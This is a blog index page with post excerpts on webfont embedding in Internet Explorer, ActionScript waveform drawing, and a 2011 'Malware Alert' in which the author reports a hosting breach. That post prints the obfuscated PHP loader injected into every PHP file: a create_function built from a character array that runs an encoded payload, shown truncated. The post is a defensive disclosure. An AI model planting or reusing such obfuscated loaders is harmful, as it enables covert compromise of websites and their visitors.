Posted in Web Development on 11/08/2014
With no spare time to update this website for almost 3 years now, I decided to perform an extensive cleanup and left the only articles that I felt were worthy of staying online.
To those interested, these days I am not doing freelance work anymore, and the volume of game development that I do is close to none. I am up to some cool stuff though and feeling quite positive about it, so I hope to be able to contribute with some cool new articles again at some point in the future.
How to Embed Webfonts Properly and How to Solve the Ambiguous "CSS3111: @font-face encountered unknown error"
Posted in Web Development on 03/31/2012
In the present article, we will be discussing how to embed webfonts properly with good cross-browser support, focusing especially on Internet Explorer, which is known to be one of the most troublesome browsers when it comes to @font-face declarations. We will also clarify the meaning of the ambiguous CSS3111 error caused by certain webfonts in IE. Let's start, shall we?
Getting a @font-face declaration to work properly in every browser can sometimes be a really challenging task for a web developer, especially when it comes to older versions of Internet Explorer. Although IE9 offers a relatively good font embedding support, browser statistics show that even in the beginning in 2012 a little over 10% of the web users still use IE8 (which is actually more than the people currently using IE9) and almost 3% use IE7. There are even people still on IE6! These may sound like small numbers, but when you sum them up, you'll realize almost 15% of your users are using old versions of Internet Explorer and if you're the owner of a high traffic website with, say, 5 million unique visitors per month, that's 750,000 people!! Imagine the profits you may be missing, just because of a faulty embedded font ruining the look of your website in their old browsers. It's just terrible!read more
ActionScript 3: Sound.extract() Demystified or How to Draw a Waveform in Flash
Posted in Web Development on 03/25/2012
I was working on a Flash project recently and had to draw the waveforms of certain files that were included in the project. To my surprise, there wasn't much information on the Internet on how to achieve that in Flash.
There were indeed a couple of nice articles on the topic that I was able to locate: Rendering spectrums with Sound.extract() & Plotting a Sound Wave in Flash AS3, and although the code examples were really good, I realized from a beginner point of view they were a bit hard to understand. I also felt some key concepts that a beginner needs to know about how sound data is stored, how byte arrays work, what does Sound.extract() do exactly etc. were missing from these articles.
On the other hand, the official Adobe Documentation concerning the same topic was also lacking detailed information on certain aspects of the Sound & ByteArray classes that one needs to know in order to understand these classes fully, so that's what made me write this article.read more
Malware Alert - September 2011 - SShell v.1.0
Posted in Web Development on 09/14/2011
I was very unfortunate to discover today that someone has breached into my hosting account. This has happened in one of the last few days, but remained unnoticed by me until today.
All of my PHP files were infected with the following piece of code:
<?php $md5 = "f8037bfb868e6c652d88c420b78404cd"; $wp_salt = array("(","i","4","o","e",'f','v','l',"$",'z',"r",'6','t',"c","g","n",')','b','s',"d",";",'_','a'); $wp_add_filter = create_function('$'.'v',$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt.$wp_salt); $wp_add_filter('FZhHsoXIkkSX8+sbA+Cira0HaK01kza01prV96sdZGaEux/P8kqHf+qvnaohPcp/snQvcfT/ijKfi/Kf/...'); ?>